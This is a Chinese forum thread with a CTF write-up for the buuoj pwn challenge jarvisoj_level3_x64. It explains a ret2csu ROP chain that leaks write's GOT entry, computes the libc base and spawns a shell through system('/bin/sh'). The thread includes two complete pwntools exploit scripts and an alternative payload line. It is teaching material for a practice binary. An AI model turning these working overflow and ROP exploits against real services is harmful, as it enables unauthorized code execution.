[ret2csu]jarvisoj_level3_x64
本帖最后由 bnuzgn 于 2023-7-30 23:13 编辑题目来源:buuoj
参考链接:
[*](主):https://niceseven.github.io/post/2020/04/14/buuctf-pwn-jarvisoj_level3_x64/
[*]https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/
题目信息
64位,环境位ubuntu16,开了NX
vuln函数,可以使用栈溢出
题目中没有system和execve,也没有给出puts函数,所以需要使用write函数输出write_got,ret2libc
write函数需要三个参数,分别传入rdi,rsi,rdx中,gadget中没有rdx_ret因此无法使用。
解题思路
[*]利用ret2csu构造rdi、rsi、rdx的值
[*]计算libc基地址
[*]栈溢出getshell
前面说过64位的系统函数传参前3个参数要用到rdi、rsi、rdx,但是通过ROPgadget查找缺少了rdx。
ret2csu主要是用到如下的两个gadget,通过pop和mov控制rdi、rsi、rdx寄存器,注意0x4006a1-0x4006a4这里有个比较rbx和rbp是否相同然后执行jne跳转的指令段,所以在执行gadget1要构造rbx=0,rbp=1,才不会进入哪个循环的跳转,通过gadget1中的pop r12和0x400699的call r12+rbx*8来控制我们想执行的函数,本题要执行 write来leak所以我们传入r12的值为write_got,这里传入plt好像执行不了具体原因还不清楚,为了满足call r12所以需要rbx=0,这样r12+rbx*8=r12=write_got => call write_got,参数1传入r15,参数2传入r14,参数3传入r13,这样在执行gadget2之后就会使参数1到3分别mov到rdi、rsi、rdx,也就是64位程序的前3个参数传参顺序。
在构造leak的payload时候需要0x38的数据填充,是因为我们先执行的gadget1,再执行gadget2,但是从gadget1跳转到gadget2后又会执行一遍gadget1,此时gadget1中的这些寄存器是不需要的,所以从0x4006a6到0x4006b2之间栈顶移动的7个机器字长,即6*0x8=0x38,,所以需要填充0x38覆盖这里的栈空间,然后覆盖到0x4006b4的ret来使函数返回到vulnerable_function(),从而再执行一遍read来进行栈溢出getshell。
ida中也可以看栈指针来计算空间大小0x38-0x0=0x38
WP
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
pc = "./level3_x64"
if __name__ == '__main__':
local = sys.argv
if local == '1':
r= process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r=remote("node4.buuoj.cn",27598)
elf = ELF(pc)
libc = elf.libc
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
pause()
def dbs(src):
gdb.attach(r, src)
csu_end_ret = 0x00000000004006AA
csu_front_call = 0x0000000000400690
write_got_addr = elf.got['write']
write_plt_addr = elf.plt['write']
main_addr = elf.symbols['vulnerable_function']
rdi_ret_addr = 0x00000000004006b3
csu_payload = p64(0) + p64(1) + p64(write_got_addr) + p64(8) +p64(write_got_addr) + p64(1)
payload = b'a'* (0x80+8) + p64(csu_end_ret) + csu_payload + p64(csu_front_call) + b'a'*0x38 + p64(main_addr)
sla('Input:\n',payload)
write_addr = u64(r.recv(6).ljust(8,b'\x00'))
lg('write_addr')
libc_base = write_addr - libc.sym['write']
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
system_addr = libc_base + libc.sym["system"]
payload = b'a'* (0x80+8) + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
sla('Input:\n',payload)
ti() 本帖最后由 RavenBlaze 于 2024-6-29 02:41 编辑
from pwn import *
from LibcSearcher import LibcSearcher
p = remote("node5.buuoj.cn", 12345)
elf = ELF("./level3_x64")
context(arch='i386', os='linux', log_level='debug')
vulnerable_function = 0x4005E6
write_got = elf.got['write']
csu_pop = 0x00000000004006AA
csu = 0x0000000000400690
pop_rdi = 0x00000000004006b3
p.recvuntil(b"Input:\n")
# write(fd, buf, n);
payload = 0x88 * b"a" + p64(csu_pop) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(
csu) + 7 * p64(0) + p64(vulnerable_function)
p.sendline(payload)
write_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher("write", write_addr)
offset = write_addr - libc.dump("write")
bin_sh_addr = offset + libc.dump("str_bin_sh")
system_addr = offset + libc.dump('system')
payload = 0x88 * b"a" + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
p.sendlineafter(b"Input:\n", payload)
p.interactive()
楼主数据填充那里应该是:7*0x8=0x38 本帖最后由 RavenBlaze 于 2024-6-29 02:40 编辑
还有一种很神奇的payload
payload1 = payload + p64(rdi_add) + p64(0x1) + p64(rsir15_add) + p64(write_got) + 'deadbeef' + p64(write_plt) + p64(vul_add)
页:
[1]